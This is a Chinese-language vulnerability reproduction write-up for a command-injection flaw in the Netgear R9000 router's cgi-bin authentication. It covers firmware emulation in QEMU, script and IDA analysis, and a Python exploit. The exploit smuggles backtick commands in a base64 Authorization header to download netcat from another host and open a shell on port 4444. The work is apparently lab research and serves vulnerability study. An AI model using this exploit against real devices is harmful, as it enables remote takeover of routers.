Netgear R9000的cgi-bin存在命令执行漏洞,攻击者可以构造恶意的header['Authorization']执行任意命令
解包固件
固件名称:R9000-V1.0.4.26.img.extracted
固件模拟
方法一使用FirmAE
方法二:
主机配置网卡:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.0.4/24 up
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -A FORWARD -i tap0 -j ACCEPT
sudo iptables -A FORWARD -o tap0 -j ACCEPT
启动脚本:
#!/bin/sh
qemu-system-arm
-M vexpress-a9
-kernel /home/iot/tools/qemu-images/armhf/vmlinuz-3.2.0-4-vexpress
-initrd /home/iot/tools/qemu-images/armhf/initrd.img-3.2.0-4-vexpress
ifconfig-drive if=sd,file=/home/iot/tools/qemu-images/armhf/debian_wheezy_armhf_standard.qcow2
-append "root=/dev/mmcblk0p2 console=ttyAMA0"
-net nic -net tap,ifname=tap0,script=no,downscript=no \
虚拟机配置网卡:
ip link add br0 type dummy
ifconfig eth0 192.168.0.2/24
ifconfig br0 192.168.0.3/24
在主机里将squashfs-root文件夹打包
tar -cvf r.tar.gz squashfs-root/
用python3 -m http.server开启http服务
然后在从主机上执行wget 192.168.0.4:8000/r.tar.gz将打包好的文件传输到虚拟机
然后虚拟机解压 tar -xvf r.tar.gz
接下来执行指令
mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc
//将特定的文件系统或设备挂载到指定的目录下
mkdir -p ./squashfs-root/tmp/var/run
//创建 `./squashfs-root/tmp/var/run` 目录,如果 `tmp`、`var` 或 `run` 目录不存在的话,会依次创建它们
chroot squashfs-root/ sh
//`chroot` 进入squashfs-root,并启动一个新的 `sh`
/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80 启动命令 下文介绍
打开浏览器输入http://192.168.0.3/cgi-bin/
模拟成功
漏洞思路
我们先分析启动命令
查找uhttpd文件
# ./etc/init.d/uhttpd
...
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}
#./www/cgi-bin/uhttpd
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
start()
函数中调用的 /www/cgi-bin/uhttpd.sh
脚本,分析脚本的启动命令为$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
,其中REALM = R9000
,UHTTPD_BIN = /usr/sbin/uhttpd
。我们无需开启 https
,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
分析/usr/sbin/uhttpd
文件,主要查看uh_cgi_auth_check()
函数
该段函数处理 HTTP 请求认证的函数,它主要用于检查 HTTP 请求头中的认证信息,并根据用户名、密码和其他配置决定是否允许用户访问资源
进入IDA定位到如图
传入命令经base64解密后传入system( )函数来执行
进入burp验证一下,进入 http://192.168.0.3/cgi-bin/
开启拦截并且尝试抓包
漏洞验证
使用netcat(nc)开启一个端口进行远程连接,通过shell执行命令。
首先在qemu-system-arm虚拟机执行wget 192.168.0.4:8000/netcat,得到已经编译好的、相应架构的netcat
在虚拟机上执行./netcat -l -p 4444 -e /bin/sh通过 netcat
在本地开启一个监听端口(4444),当主机连接到该端口时,执行nc 192.168.0.3 4444连接,netcat
会执行 /bin/sh
( shell),允许远程机器执行命令。
根据想法构建exp
#exp.py
#!/usr/bin/python3
from pwn import *
import requests
import base64
cmd = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.0.4:8000/netcat\n'
cmd += 'chmod 777 ./netcat\n'
cmd += './netcat -l -p 4444 -e /bin/sh\n'
cmd += '`'
assert(len(cmd) < 255)
cmd_b64 = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Authorization": "Basic " + cmd_b64
}
def attack():
try:
requests.get("http://192.168.0.3/cgi-bin/", headers=headers, timeout=30000)
except Exception as e:
print(e)
attack()
执行脚本
成功执行